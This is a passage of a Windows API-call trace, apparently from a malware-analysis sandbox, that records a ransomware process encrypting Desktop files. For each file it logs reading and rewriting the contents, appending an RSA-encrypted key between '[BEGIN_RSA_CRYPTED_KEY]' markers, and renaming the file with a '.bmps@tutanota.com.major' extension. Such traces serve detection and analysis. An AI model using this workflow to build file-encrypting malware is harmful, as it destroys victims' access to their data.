hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=57053) returned 1 [0145.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdedd) returned 0x631898 [0145.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdedd) returned 0x63f780 [0145.010] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0xdedd, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xdedd, lpOverlapped=0x0) returned 1 [0145.012] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-57053, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.012] WriteFile (in: hFile=0x5e4, lpBuffer=0x63f780*, nNumberOfBytesToWrite=0xdedd, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63f780*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdedd, lpOverlapped=0x0) returned 1 [0145.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63f780 | out: hHeap=0x570000) returned 1 [0145.012] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdedd [0145.012] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.013] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.013] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.013] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.013] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.013] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="MnF5TaHvkdVTCw8u5XuMvdMKu0ML/8gpNLgPUVsWp0g3IMAbYK1fzjZ8e3iTrK6y\nTR2Fm+6/dUlIAtE/tqvfsRJPSOf3g+i88h2Re8G+cCxOvFz2SfRgqqlSzaLFm0b5\n6E5+tiOI5afGbk+dorLixig0bugoJ8kaqwk5+LZ0GWIiE/CkGRMDmd0mK399FR/z\nxv0zBN9kgq29iOjhl4KHNeUBDBPBuZlPa/5/6qTkShX2dzI9T9UyKrp1LAKJqSxa\nS1XdocmXGtGRR0EP4dYsrZo87ASYGLGVcEjmitgN35XOj7qnjCFWdUL4s5L8YXFg\nBQJpMnWHHbZRaLeoI2tatw==\n", pcchString=0x2e3f9a8) returned 1 [0145.013] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.013] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.014] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.014] CloseHandle (hObject=0x5e4) returned 1 [0145.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.014] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\yjMv7N.png" (normalized: "c:\\users\\fd1hvy\\desktop\\yjmv7n.png"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\yjMv7N.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\yjmv7n.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc968 | out: hHeap=0x570000) returned 1 [0145.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be2c0 | out: hHeap=0x570000) returned 1 [0145.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be7e8 | out: hHeap=0x570000) returned 1 [0145.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be2c0 [0145.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.016] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.016] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\yfgd0OgsIy.bmp", dwFileAttributes=0x80) returned 1 [0145.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be4d0 [0145.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0145.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0145.017] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\yfgd0OgsIy.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\yfgd0ogsiy.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.017] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=57585) returned 1 [0145.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0f1) returned 0x631898 [0145.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0f1) returned 0x63f998 [0145.017] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0xe0f1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xe0f1, lpOverlapped=0x0) returned 1 [0145.018] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-57585, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.018] WriteFile (in: hFile=0x5e4, lpBuffer=0x63f998*, nNumberOfBytesToWrite=0xe0f1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63f998*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe0f1, lpOverlapped=0x0) returned 1 [0145.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63f998 | out: hHeap=0x570000) returned 1 [0145.019] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe0f1 [0145.019] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.019] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.019] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.019] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.020] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.020] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="zW1PzOzv7v3ReEOyxPxCktZr6EUVYl5Iy7H7BDVXkl7Bme/oMMF4OQ+xginexKC1\nyeivb4qgrP8QNgjF714ww02kn+lTIs5oVw0vKtGO1hUotxyq35tqoxPtN99RYMXa\nnSoX4ZaLSsJXEtWDePydxbJcdbIjVTCJqqLao/aFaxrYoaoN9lGt5zOkd29DqJAj\nAOvizEOIAAXbTCDV3d6+ZwqQwROhkn4S5a7eeEKhEPMOo+Lwg92Cy2xN/ME28php\n4fsqDBa7tjl4wzODvY13H9I6r16s7pDXqZMoqTPxS7r6eVANNuR2Ak+/gs6ConkA\nH56POIlR594KwuRqpvxvqQ==\n", pcchString=0x2e3f9a8) returned 1 [0145.020] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.020] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.020] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.020] CloseHandle (hObject=0x5e4) returned 1 [0145.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.020] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\yfgd0OgsIy.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\yfgd0ogsiy.bmp"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\yfgd0OgsIy.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\yfgd0ogsiy.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be2c0 | out: hHeap=0x570000) returned 1 [0145.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be210 | out: hHeap=0x570000) returned 1 [0145.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be790 [0145.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.022] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.022] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\XRmOVt9gFML9F.mkv", dwFileAttributes=0x80) returned 1 [0145.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be4d0 [0145.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0145.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0145.022] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\XRmOVt9gFML9F.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\xrmovt9gfml9f.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.023] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=6049) returned 1 [0145.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17a1) returned 0x631898 [0145.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17a1) returned 0x633048 [0145.023] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x17a1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x17a1, lpOverlapped=0x0) returned 1 [0145.024] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-6049, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.024] WriteFile (in: hFile=0x5e4, lpBuffer=0x633048*, nNumberOfBytesToWrite=0x17a1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x633048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17a1, lpOverlapped=0x0) returned 1 [0145.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x633048 | out: hHeap=0x570000) returned 1 [0145.024] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x17a1 [0145.024] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.024] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.024] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.024] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.024] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.024] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.025] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="U4o1p1B7P/MjiBKKlXDaiXrr0tOSZZh+xhPdzo5hxi70RjgYpfU6Rez2uXlUGqMN\n5BJmzjgh3xcQHob2vTUhMaOyFfdsmOpCnHUhdhV+b33FUToelrjvOveqUSJE8Oww\nh1GvUVM/IAuHANDzD8x81AyoOZckfMQaVTKIvMVa7GIPcdtUi46RnsAPH8x8OnHA\nSLrRHF12uKxppxXEz8Myg/quXRMZHB2uOHghtxwNJFHffbZ9TCtYhjfvIA17zpKj\n2sayhxVbxIJyLbLuEnfiWu/Jc7YqF1fTy/Cduz556Ss5cEy/KTFKhqmgCBjlsGE5\nOipI6iLYVmcTbV+8FEWhdw==\n", pcchString=0x2e3f9a8) returned 1 [0145.025] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.025] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.025] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.025] CloseHandle (hObject=0x5e4) returned 1 [0145.025] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.025] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\XRmOVt9gFML9F.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\xrmovt9gfml9f.mkv"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\XRmOVt9gFML9F.mkv.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\xrmovt9gfml9f.mkv.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.027] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.027] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.027] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be790 | out: hHeap=0x570000) returned 1 [0145.027] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be478 | out: hHeap=0x570000) returned 1 [0145.027] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x631760 [0145.027] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.027] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.027] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\uXlL8DYgDEUjN jq7.bmp", dwFileAttributes=0x80) returned 1 [0145.028] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x6316f8 [0145.028] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e0b8 [0145.028] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6316f8 | out: hHeap=0x570000) returned 1 [0145.028] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\uXlL8DYgDEUjN jq7.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\uxll8dygdeujn jq7.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.028] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=30743) returned 1 [0145.028] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7817) returned 0x631898 [0145.028] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7817) returned 0x6390b8 [0145.028] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x7817, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x7817, lpOverlapped=0x0) returned 1 [0145.029] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-30743, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.029] WriteFile (in: hFile=0x5e4, lpBuffer=0x6390b8*, nNumberOfBytesToWrite=0x7817, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6390b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x7817, lpOverlapped=0x0) returned 1 [0145.029] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.029] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6390b8 | out: hHeap=0x570000) returned 1 [0145.029] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x7817 [0145.030] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.030] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.030] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.030] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.030] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.030] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="vFabM///5BmD2ow+389eCTsIWY61w5EsohdwWWPUXeewwpPiSasOVJ1X9//rA6N0\npVdKMbwXNDj1u5fywm7WtXqVb/3LIKuSgZBIa8G72kuTTI5ejS6ehopTAE0vROC8\nED/B4JEw8CfpGKvraNr6lzdEI3ZOzukoJSo+4spYtG7h9O+ZfnRHclNAW0R6k44x\nViUaK+KcWUmM1RAn9zC25HONpP75HzgdifcqmRtPJvgT6c6ZlYRw0cvyDENf6WKI\nNGBmux5Tle8BsA8xfcwwbqgGsKNNCQc2S5+IjiMn16NR5/FdvuIGuSsXspYteaxi\nM60EM4jqC6HP6Ryca3zBuQ==\n", pcchString=0x2e3f9a8) returned 1 [0145.030] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.030] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.030] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.030] CloseHandle (hObject=0x5e4) returned 1 [0145.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.031] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\uXlL8DYgDEUjN jq7.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\uxll8dygdeujn jq7.bmp"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\uXlL8DYgDEUjN jq7.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\uxll8dygdeujn jq7.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.035] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0145.035] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.035] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631760 | out: hHeap=0x570000) returned 1 [0145.035] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631830 | out: hHeap=0x570000) returned 1 [0145.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x6316f8 [0145.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.035] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.035] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\tuYpwDn8lZKFlv_vyIw.xls", dwFileAttributes=0x80) returned 1 [0145.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x631760 [0145.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0145.035] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631760 | out: hHeap=0x570000) returned 1 [0145.035] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\tuYpwDn8lZKFlv_vyIw.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\tuypwdn8lzkflv_vyiw.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.036] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=34181) returned 1 [0145.036] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8585) returned 0x631898 [0145.036] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8585) returned 0x639e28 [0145.036] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x8585, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x8585, lpOverlapped=0x0) returned 1 [0145.037] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-34181, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.037] WriteFile (in: hFile=0x5e4, lpBuffer=0x639e28*, nNumberOfBytesToWrite=0x8585, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x639e28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8585, lpOverlapped=0x0) returned 1 [0145.037] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.037] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x639e28 | out: hHeap=0x570000) returned 1 [0145.037] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8585 [0145.037] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.037] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, 